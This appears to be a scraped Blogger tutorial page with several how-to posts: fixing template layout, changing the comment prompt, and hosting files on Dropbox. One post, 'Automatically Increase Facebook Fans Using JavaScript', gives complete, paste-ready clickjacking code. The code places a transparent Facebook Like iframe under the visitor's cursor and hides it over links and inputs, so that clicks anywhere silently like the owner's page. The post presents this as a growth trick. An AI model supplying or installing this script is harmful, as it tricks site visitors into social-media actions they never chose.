AnGeLz_Tech: Blogger Tutorials

Blogger Layout Solution For New Blogger Interface

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
In this video tutorial I am gonna share a solution for blogger layout which needed after new blogger interface, Actually i have noticed in some blogger templates with new blogger interface, The sidebar and blog elements are not showing into layout section Then finally i got the reason why this happened as well as i solved it, and now going to share the same for all of you.</div>
<h2 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
See the below image to know what i talking about :-</h2>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<b>Sidebar and Blog not showing into layout:</b></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7HUxt8IpdoG7Mf1zzNGhWSdkUGaN_kY1bLkFPwwMlb5PUhexl4GPZZabQPRmfWiLA8OQXqf14wWfxLbmJ6SjJwhxs-rmggj49Yapznp9Tx2_IaKre7UpSwwdIVxTzV1eLurLqN7lkWN8/s1600/11.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="228" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7HUxt8IpdoG7Mf1zzNGhWSdkUGaN_kY1bLkFPwwMlb5PUhexl4GPZZabQPRmfWiLA8OQXqf14wWfxLbmJ6SjJwhxs-rmggj49Yapznp9Tx2_IaKre7UpSwwdIVxTzV1eLurLqN7lkWN8/s1600/11.jpg" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><b>Blogger Layout Solution For New Blogger Interface</b></td></tr>
</tbody></table>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<b><br /></b></div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<b>After solve it :-</b></div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="2" class="size-full wp-image-343 aligncenter" height="290" src="http://www.makingdifferent.com/wp-content/uploads/2013/03/21.jpg" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="722" /></div>
<h2 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
Video Tutorial :-</h2>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
</div>
<center style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<div class="youtube" id="jxYU1-GF5x8" style="background-color: black; cursor: pointer; height: 309px; max-width: 100%; outline: none 0px; overflow: hidden; position: relative; width: 550px;">
<img class="thumb" src="http://i.ytimg.com/vi/jxYU1-GF5x8/hqdefault.jpg" style="border: 0px; bottom: 0px; display: block; height: auto; left: 0px; margin: auto; max-width: 100%; position: absolute; right: 0px; top: 0px; width: 550px;" /><div class="play" style="background-image: url(data:image/png; background-repeat: no-repeat no-repeat; height: 77px; left: 275px; margin-left: -38px; margin-top: -38px; opacity: 0.8; outline: none 0px; position: absolute; top: 154.5px; width: 77px;">
</div>
</div>
</center>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<br />Hope you find this helpful , do share it with your blogger friends. :)</div>
</div>

Blogger Layout Solution For New Blogger Interface

In this video tutorial I am gonna share a solution for blogger layout which needed after new blogger interface, Actually i have noticed in...

Automatically Increase Facebook Fans Using JavaScript

Unknown 0 Blogger Tutorials 02:26

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: left;">
<span style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">Well today i have found another simple to be applied script for your blogs or website which can gain few more unique likes to your facebook page, with this script applied any unique visitor who comes to your page can become your fan. He just needs to click anywhere on the webpage as a small invisible like button will follow his mouse cursor and as soon he clicks anywhere he will be liking your fan page. So now straight away jumping on how it can be applied in a webpage or blog just follow the below simple steps.</span></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYlWEFnQ3_LSLO1TPFK7C3Qdf-LhRLKvp9pgQUcae3FDyoRmIM7liKXnIgSwR9HjNOeKxA0kr52XrDWacTDRP4gvS7P6XwPUabaR6b36qwGt5AOqVX5-VOdcCvVIEfBwUnXxI2qS7gltY/s1600/facebook-Likes.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="183" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYlWEFnQ3_LSLO1TPFK7C3Qdf-LhRLKvp9pgQUcae3FDyoRmIM7liKXnIgSwR9HjNOeKxA0kr52XrDWacTDRP4gvS7P6XwPUabaR6b36qwGt5AOqVX5-VOdcCvVIEfBwUnXxI2qS7gltY/s1600/facebook-Likes.jpg" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><b>Automatically Increase Facebook Fans Using JavaScript</b></td></tr>
</tbody></table>
<h2 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
How to Add This JavaScript to blogger?</h2>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Go to blogger—><b>Template</b>—><b>Edit HTML</b></li>
<li>Hit <b>“proceed”</b></li>
<li>Tick on <b>“Expand Widget Template”</b> Check box</li>
<li>Search for </li>
</ul>
</div>
in your blogs HTML and paste the below script above it.<b><script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"> </script> <script type="text/javascript"> function ClickJackFbHide(){ jQuery("div[id^=\'clickjack-button-wrapper\']").hide(); } function ClickJackFbShow(){ jQuery("div[id^=\'clickjack-button-wrapper\']").show(); } </script></b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li> Now again search for </li>
</ul>
in your blogs HTML and paste below code above it.<b><div id="clickjack-button-wrapper-5" style="-ms-filter: 'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; filter: alpha(opacity = 0); height: 20px; margin-left: -50px; opacity: 0; overflow: hidden; position: absolute; width: 27px; z-index: 100;">
  <iframe allowtransparency="true" frameborder="0" scrolling="no" src="http://www.facebook.com/plugins/like.php?href=Fanpage URL Link&layout=button_count&show_faces=false&width=50&action=like&colorscheme=light&height=21" style="border: none; height: 21px; left: -19px; overflow: hidden; position: relative; width: 45px; z-index: 0;"></iframe> </div>
<script type="text/javascript"> jQuery( document ).ready( function() { $( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) { jQuery( "#clickjack-button-wrapper-5" ).css( { top: e.pageY - 10, left: e.pageX + 30 } ); } ); clickjack_hider(); var clickjack_fb_timer = setTimeout("clickjack_hider()",5000); } ); function clickjack_hider(){ jQuery("input").mouseout(function(){ClickJackFbShow();}); jQuery("a").mouseout(function(){ClickJackFbShow();}); jQuery("button").mouseout(function(){ClickJackFbShow();}); jQuery("textarea").mouseout(function(){ClickJackFbShow();}); jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();});         jQuery("object").mouseout(function(){ClickJackFbShow();}); jQuery("input").mouseover(function(){ClickJackFbHide();}); jQuery("a").mouseover(function(){ClickJackFbHide();}); jQuery("button").mouseover(function(){ClickJackFbHide();}); jQuery("textarea").mouseover(function(){ClickJackFbHide();}); jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();});         jQuery("object").mouseover(function(){ClickJackFbHide();}); } </script></b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Now just replace the red line in above code with your facebook page URL and that’s it now just save the template and jump over to your website to test it out.</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px; outline: none 0px;">
Now as soon as you refresh your blog you will see that your cursor has been changed into the hand one as there is a link moving with it. Now your blog readers will see similar thing and ass soon as they will click it they will become your page fan.<br />
<div class="warn" style="outline: none 0px;">
<b>Remember :-</b> There are some issues you might face using this script in your website or blog, the first thing is that when people drag they might not able to select the text as they will a semi visible Like button which will be attached to your mouse cursor as it moves, the second one some other gadgets might get affected and act weirdly, try using it if everything works ok than start increasing your fans :)</div>
</div>
<div>
<br /></div>

Automatically Increase Facebook Fans Using JavaScript

Well today i have found another simple to be applied script for your blogs or website which can gain few more unique likes to your faceboo...

Hide/Show Widgets/Gadgets In Home/Post/Static/Archive Pages In Blogger

Unknown 0 Blogger Tutorials 02:23

Hide/Show Widgets/Gadgets In Home/Post/Static/Archive Pages In Blogger

Hide/Show Widgets/Gadgets In Home/Post/Static/Archive Pages In Blogger Once you activate any widget, in your blog, it will be displaye...

Change The “Post A Comment”

Unknown 0 Blogger Tutorials 02:19

<div dir="ltr" style="text-align: left;" trbidi="on">
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvIzBp6VhifFSJgKZtORXLc_9iPmuMJWzZGKtEUQV0yr70hr42-Q8Rz4IpqvZ0ODQTbyge0A4J6eBOGvmqib3TPmQwoHjWkzwl9ygTeZZsl5VqLxIsJJU7meMIqtciip1his1Pyj1ZAYw/s1600/change-post-a-comment-message-in-blogger.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvIzBp6VhifFSJgKZtORXLc_9iPmuMJWzZGKtEUQV0yr70hr42-Q8Rz4IpqvZ0ODQTbyge0A4J6eBOGvmqib3TPmQwoHjWkzwl9ygTeZZsl5VqLxIsJJU7meMIqtciip1his1Pyj1ZAYw/s1600/change-post-a-comment-message-in-blogger.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><b>Change The “Post A Comment”</b> </td></tr>
</tbody></table>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
In default Blogger template <b>” Post A Comment”</b> message prompts readers to make a comment on an article.</div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
If you are not using the embedded comment form, then there will be a link ” Post A Comment” on your blog. And if you are using the embedded comment form in your blog, then there will be<b> ” Post A Comment”</b> message on your Blogger blog, just above the comment box.<br />Now if you want to change the <b>“Post A Comment”</b> message with an image/text in your Blogger blog, then here’s a simple hack for you.</div>
<h2 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
How to replace this ” Post A Comment” message in your Blogger/blog?</h2>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Log in to <b>Blogger</b>, go to <b>Template</b>– ><b>Edit HTML</b></li>
<li>Tick the<b> “Expand Widget Templates”</b> checkbox.</li>
<li>Now find (CTRL+F) this piece of code <b>(marked in red)</b>:</li>
</ul>
<b><a expr:href="data:post.addCommentUrl" expr:onclick="data:post.addCommentOnclick" href="https://www.blogger.com/null"> <data:postcommentmsg> </data:postcommentmsg></a></b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>and this one too</li>
</ul>
<b><h4 id="comment-post-message">
<data:postcommentmsg></data:postcommentmsg></h4>
</b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Now replace the code <b>(marked in red)</b>, with the text you want, like “Share Your Views ” etc.</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
You can use an image instead of a simple text, create a small image with your new message, and upload it<br />Now replace the code highlighted in (marked in red) with Below code (Don’t forget to replace <b>IMAGE-URL-HERE</b>with the direct link to the image):</div>
<b><img src="IMAGE-URL-HERE" /></b><ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Preview and save the template.</li>
</ul>
</div>

Change The “Post A Comment”

Change The “Post A Comment” In default Blogger template ” Post A Comment” message prompts readers to make a comment on an article....

How To Host Your HTML,CSS,Javascript & Other Static Files For Free

Unknown 0 Blogger Tutorials 02:17

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
In this Tutorial I show you How to Host your scripts and files online with a Direct hotlink to your files. till now we are using the Google sites, Google Code or some other Free host’s like FileDen, OpenDrive, Fileave, RipWay etc,. These free hosts are Giving Good features but our need is Bandwidth(Data Transfer Limit). DropBox are Providing us with 2GB hosting with 10GB/Day Bandwidth, and also we can get direct hot link to your files by Public sharing.</div>
<h2 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
DropBox allow us to Upload files on their Host in two ways</h2>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<b>1. By Synchronizing your files via DropBox Software.</b><br /><b>2. By Online Uploading via DropBox site.</b></div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
in this tutorial i will give you the Two ways, Step By Step.</div>
<h2 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
Upload/Host your files via DropBox Software</h2>
<ul style="background-color: white; text-align: left;">
<li style="color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">Download the DropBox Software form this Link, and Launch the DropBox Setup by Double Clicking the Installer.</li>
<li style="color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">Click Install button in DropBox Setup pop up window and Wait Until the software completes Installation.</li>
</ul>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYfwJj0EPRbjfqX7nGJgpvG-bxICT1FPZKJqnmolNRKvvbC0XSwt-mkv7XV7kAUAZnFJsodrXzFpKD4yw5EvHTQJpxfmbMtBfhiE1Rh7eHmyLAdctrAYnrBYoiVT7yyTUQdS-OCiIW0gE/s1600/md-db-1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYfwJj0EPRbjfqX7nGJgpvG-bxICT1FPZKJqnmolNRKvvbC0XSwt-mkv7XV7kAUAZnFJsodrXzFpKD4yw5EvHTQJpxfmbMtBfhiE1Rh7eHmyLAdctrAYnrBYoiVT7yyTUQdS-OCiIW0gE/s1600/md-db-1.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><b>How To Host Your HTML,CSS,Javascript & Other Static Files For Free</b></td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="" border="0" class="aligncenter" height="310" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAuyISYWaA6ISytknEXFB1fxw76i0DaaS3uborXS3azuVWCdq-RrpGoq7D4LN1pfb9GXELc-kpTwy6NMTPwy1-B845DWoSPEpPqMgyAkcs49mzGFNI0fkVpVO3VtKnU5C33fZrM9VjCwBa/s400/md-db-2.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="400" /><br /> </div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>After Completing installation, DropBox Setup opens another popup window for account settings. if you not have DropBox account, then choose I don’t have DropBox account and click Next Button.</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px; outline: none 0px;">
<img alt="" border="0" class="aligncenter" height="376" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsYSOPVmmWJtiAEDKUN-2JP24TbW4PzyCC6V4lFhinuxczDYgfrY75f5230Vqz8AijklPT7JmrWdWtVPmEilou54Z4cekALzp9A2J6toAgePJq6Yi41swRZx0y-3k_g5b3204s8mr9ovtV/s400/md-db-3.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="400" /></div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<br /></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Fill the fields with Required data and Click Next button</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px; outline: none 0px;">
<img alt="" border="0" class="aligncenter" height="377" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt9DkZBiMC_nabIFP1nI2S8AcHEYfHO8QKfF4gSReV80cJQGth8u_NRzMvY-uV2j9EcrugHCegACm1sCG2NYzy_r4g1AeXi0IwUWm_Sh9oXFVHo4C9doUXKjFdwPkTMDhVhgpaEMc3l2uz/s400/md-db-4.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="400" /></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li> Choose 2 GB Free account and Click Next button</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px; outline: none 0px;">
<img alt="" border="0" class="aligncenter" height="377" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtptgb9cvoGQxl2u3u4tv55dWmMs8OpgHKe6GOj_YgNSW5ipQ3lRlKqL7sqDkYVIQSeOKKC1tZACEB2v4DxzdC0bsEr8ikWf-Pfue3X3yIcJ9I_gXsiVZ-R1igUTIjL10psPdaCIkMmwYC/s400/md-db-5.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="400" /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtptgb9cvoGQxl2u3u4tv55dWmMs8OpgHKe6GOj_YgNSW5ipQ3lRlKqL7sqDkYVIQSeOKKC1tZACEB2v4DxzdC0bsEr8ikWf-Pfue3X3yIcJ9I_gXsiVZ-R1igUTIjL10psPdaCIkMmwYC/s1600/md-db-5.png" style="color: black;"> </a></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>Choose Typical settings and Click Install button</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="" border="0" class="aligncenter" height="381" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBe3Ai1kF8J8NlQ2IBdyUWXfu_lpXpfoDQeKl1Pb6R5A-iMrbqtKrzd7JVZXjFVKvVQAQm2297xse52NbqHVc5iopkmE1XkDF2ST5xFBHs7XzQJTBpCIFJHEiaQafkatJb_Eg4jkMxcMUu/s400/md-db-6.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="400" /></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>a PopUp window opens for DropBox tour, click the Skip tour Button.</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px; outline: none 0px;">
<img alt="" border="0" class="aligncenter" height="375" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOgXuqyc5pXPhC2ELlv3bCmGmdetxBN1AV0du49wEa7yMoTnLgM5ajuiOmeK8t0mBdH5NX3R22houhOOlufR5qm9kOC4l2tDbeJW_wp88loijO0cGNon1RDUhXrUnSSk7u01KfC5XHv38l/s400/md-db-7.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="400" /></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li> Finally Click the Finish Button to Close the DropBox Setup.</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="" border="0" class="aligncenter" height="377" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNjh2YNYH24u0GCVvOJ_po2Mvwr9D1NlW8xEyXFeWVjSeUXRMB5PluSZvpLSpQe6pEzuJUe8FAYeVBdn25tYPdaNKUietyX9RSQ4DeLMNc3ne0iU4DMcgURe9Pun2rRtmc28GO8A-5KbD0/s400/md-db-8.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="400" /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNjh2YNYH24u0GCVvOJ_po2Mvwr9D1NlW8xEyXFeWVjSeUXRMB5PluSZvpLSpQe6pEzuJUe8FAYeVBdn25tYPdaNKUietyX9RSQ4DeLMNc3ne0iU4DMcgURe9Pun2rRtmc28GO8A-5KbD0/s1600/md-db-8.png" style="color: black;"> </a></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>DropBox folder Opens automatically, If not then click the DropBox icon in the Taskbar.</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="" border="0" class="aligncenter" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2rgmzi0-yOkWWf8wO6fioUjMmELyCN9PU4mXag0bD0X8Q2sv4pgVrboDZxtYKccBj56kG0tqxyLR9doLC9GAPf2ZPG6VlQFqCdwPYCFXQurTWNT7bkPG6iVCbXB2FCbuoJMMVXBrLzUiO/s400/md-db-9.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="400" /></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li> In DropBox folder open the Public folder, and paste your scripts or files in the Public folder.</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="" border="0" class="aligncenter" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhffPN7z4W_wp2sdEAN6CalzaTFx3wBxEvjBDLOgio9upunB5NocNn93DzPzBO-xRXc-2SzpBZI8gH7ONWp4kGNMYhymOMnUTO-XMTAm27aEk6D8IummvQORQw3ehyphenhyphenfjzQD1ktQChBHIIIi/s400/md-db-10.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="400" /></div>
<ul style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<li>For getting Direct Link to you script or file, right click on the File –> go to DropBox –> Click the Copy Public Link</li>
</ul>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<img alt="" border="0" class="aligncenter" height="147" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhOrOiP8GYSS_ODIw1mhVzWul-gYfQZ9ZQqvV4AZKdOCtiz9MOGoqf20Z5oljnlU6xq4fPgwHWb0pIQviHxXXwqC6_SGyvcSaEGEtRMs_PcKQ2ZZatFxQ4Yo8JyhtwLJ07T2e6Ee0GVUHP/s400/md-db-11.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="400" /><br /><br />Your public links looks like<br /> </div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
http://dl.dropbox.com/u/Angelz Tech/style.css</div>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
<br /></div>
<h2 style="background-color: white; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; line-height: 24px; padding: 5px 0px;">
Upload/Host your Files via Online</h2>
<div style="background-color: white; color: #222222; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 16px; line-height: 24px;">
1. Register a New account on DropBox site and Login to your account<br />2. Click Upload Icon at right side corner of the page.<br /><img alt="" border="0" class="aligncenter" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm4_R2CaZokRLPbQXXACoimmFWHnQG8TkqzykI4TVRq96Fprv9CLQ4c3wR9cbKQy-_v9A4EXgYKEFTApWdr0LTfHQJ4LzgKrFAcozpazsQF_H-eQawG6cSoNiYx-v9oBe-NrTTz1UOFR8n/s640/md-db-12.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="640" /><br />3. an Inline Pop-Up window opens, click on Choose Files button.<br /><img alt="" border="0" class="aligncenter" height="321" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM9BtAWTh2uPh0zZ6vsb7nwDaUZifkXIkxYEyYNX0V_TeCkGsWjyfrHXQXkAo7zFIaodUVV_Vzksgr4JriDWg5-mZvpWJSHuERO6g2bK2mu6aWP4rn3lXrv_7cGOFf_qd-k7ad9kQjYeC8/s640/md-db-13.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="640" /><br />4. Select the Files that you want to Upload / Host and Click Open Button.<br /><img alt="" border="0" class="aligncenter" height="452" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3plxxsMmEILuYK5JDiX8qPsYSKIPA5UAb0r88X7F44xS29WPDfQS-mmPHhQD0drbCLW77DIHZrugFl6rCVsjj6EHeK8dpXv_ilbcJOtIQNIqTnkpwLSO6TiwyXEu52SIPvaBeYuL8CKAi/s640/md-db-14.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="640" /><br />5.Wait while upload file.<br /><img alt="" border="0" class="aligncenter" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT32doGqdsKvx6WDMJamjTn760K6ylsXOcf7TWNlZpZnWeI5d2dCkMiFw8dpvfB0pmVJf9IqYq0JLYAYZRh139j9yyYILhuKPzSKTtZTfh0zOftJVaUCPKddkAOJQ_RZu_0Dk31ztTKAZ0/s640/md-db-15.png" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="640" /><br />6. After Completes Uploading, click the Uploaded file to open the Drop Menu options, and then Choose the Copy Public Link Option.<br /><img alt="" border="0" class="aligncenter" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1l8_mjRGJCGp1DoNtvsMvqc7u1Gov33jnnfZ-5BojEOU0brGpiJG3CI8BcnK546ZDxVxGIS43hktYX7OxVkjfA3xuJE-nG8HkGMUyxV2zZAAtAHpF0fhlwi6O-WgN0btPVf-xgUtN1kQ8/s320/10.jpg" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="320" /><br />7. Click the Copy to Clipboard button to copy the Direct Link to your Clipboard.<br /><img alt="" border="0" class="aligncenter" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4Ace6WlQjMpF7520JpI8xwvOZLFEuPHkrwymzHu08aPvh52avCChPEiLLQLtChr6rk_GOUfTy2DGhDrcZNwJNlLI_LvVR7_UJxogwfLNIYq8aRL64e8FAuG2JDoZv4Gv2gdn3YrMP33Bw/s640/11.jpg" style="border: 0px; display: block; margin: 0px auto 10px; max-width: 100%;" width="640" /></div>
</div>

How To Host Your HTML,CSS,Javascript & Other Static Files For Free

In this Tutorial I show you How to Host your scripts and files online with a Direct hotlink to your files. till now we are using the Googl...

How To Add Infinite Post Scrolling Effect To Blogger

Unknown 0 Blogger Tutorials 02:13

How To Add Infinite Post Scrolling Effect To Blogger

How To Add Infinite Post Scrolling Effect To Blogger Today I’m going to share another trick on how to add infinite post scrolling effe...

How To Start A Blog With Blogger Blogspot – Beginner’s Guide

